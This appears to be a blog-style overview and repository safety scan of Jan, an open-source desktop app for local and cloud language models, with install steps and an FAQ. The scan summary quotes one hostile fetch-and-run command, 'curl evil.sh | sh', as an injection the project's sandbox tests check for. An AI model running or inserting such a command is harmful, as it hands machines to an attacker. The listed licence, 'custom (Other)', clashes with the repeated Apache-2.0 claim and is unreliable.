Jan: An Offline ChatGPT Alternative for Your Desktop (GitHub, Scanned)

Jan is a desktop app for chatting with language models, local or hosted, in one window. It downloads open models such as Llama, Gemma, Qwen and gpt-oss from Hugging Face and runs them on a bundled llama.cpp engine, with MLX on Apple Silicon, so nothing leaves the machine; add an OpenAI, Anthropic, Mistral or Groq key and the same window talks to those as well. It also runs an OpenAI-compatible server on localhost:1337 for other apps, supports MCP tools, and lets you build custom assistants.

LM Studio is the app most people compare it with, and the difference is the code: Jan is Apache-2.0, built in the open by Menlo Research on Tauri (a Rust shell around a TypeScript interface), and available from the Microsoft Store and Flathub as well as its own site. The newest work is an agent mode, a jan command-line agent plus tools that let a model read files and run shell commands inside an operating-system sandbox.

• Repository: github.com/janhq/jan
• Licence: custom (Other)
• Language: Rust. Stars: 44.7K. Forks: 3,058. Last push: Sep 25, 2026.
• Scan: safe, Sep 25, 2026, commit 1cd96da

Who it is for

People who want a private ChatGPT-style app without touching a terminal, and developers who want a local OpenAI-compatible endpoint that comes with a graphical model manager.

Getting started

1. macOS: download the installer (Windows .exe and Linux .deb or AppImage links are in the README and on jan.ai)

open https://app.jan.ai/download/latest/mac-universal

2. Linux: install from Flathub instead

flatpak install flathub ai.jan.Jan

3. Or build from source (needs Node 20, Yarn 4, Make and Rust)

git clone https://github.com/janhq/jan && cd jan && make dev

The optional jan agent CLI has its own installer, scripts/install-jan-agent.sh. It downloads a nightly build from delta.jan.ai, checks its SHA-256 against the published manifest, and copies it to ~/.local/bin without sudo.

Safety scan

We cloned janhq/jan at commit 1cd96da on Sep 25, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

• No secrets, no self-decoding code and no bare-IP URLs across about 430,000 lines of TypeScript and Rust. The one committed binary is docs/bun.lockb, the Bun package manager's lockfile for the documentation site.
• All three pattern hits are the agent sandbox's own tests. One checks that a granted git command cannot smuggle in curl evil.sh | sh; two try to open a raw socket to 1.1.1.1 and assert that it fails, because the jail (Seatbelt on macOS, bubblewrap on Linux, AppContainer on Windows) denies network access unless you allow it.
• Install hooks: a husky prepare script and eight Cargo build scripts for the Tauri app and its plugins. The agent CLI installer verifies checksums, uses no sudo and does not edit your shell profile; the one sudo in the repository is in a QA test-runner script.
• 15 critical advisories after de-duplication, none in the six Cargo lockfiles. Two are Next.js 14 in the documentation site. The rest sit in the root yarn.lock: test and build tooling (Vitest, happy-dom, tar, shell-quote, an old form-data), the seroval serializer, and two matches of an old Jan path-traversal advisory against the workspace's own core package at placeholder version 0.0.0, which is a false match.
• 41 workflows, none using pull_request_target; 33 of 58 third-party actions are pinned to a commit. Dependabot is on and there is a contributing guide, but no security policy file.

What the scanner counted

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

By the numbers

Lines by language: TypeScript 179.6K, Rust 167.2K, JSON 31K, Markdown 24.1K, YAML 7,420, Python 5,399.

Questions

Is Jan free?

Yes. Jan is Apache-2.0 and free to download and use, commercially included, with no subscription for the app. Local models cost nothing beyond your hardware. If you connect a cloud provider such as OpenAI or Anthropic, you use your own API key and that provider bills you for usage; Jan passes the requests along.

Is Jan private?

Local models run entirely on your machine and chats are stored on it. Jan's product analytics, active-user and retention counts through PostHog's EU service, stay off until you agree at first launch, and its privacy page says chats, prompts and model choices are never collected. Cloud models are the exception: pick one and your messages go to that provider.

Jan or LM Studio?

They do the same core job: a desktop app that downloads GGUF models, runs them on llama.cpp and exposes a local OpenAI-compatible server. LM Studio is free to use but closed source. Jan is open source under Apache-2.0, so you can read, build and modify it, and it adds cloud providers, MCP tools and an agent mode in the same window. Pick Jan if an open code base matters to you.

This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.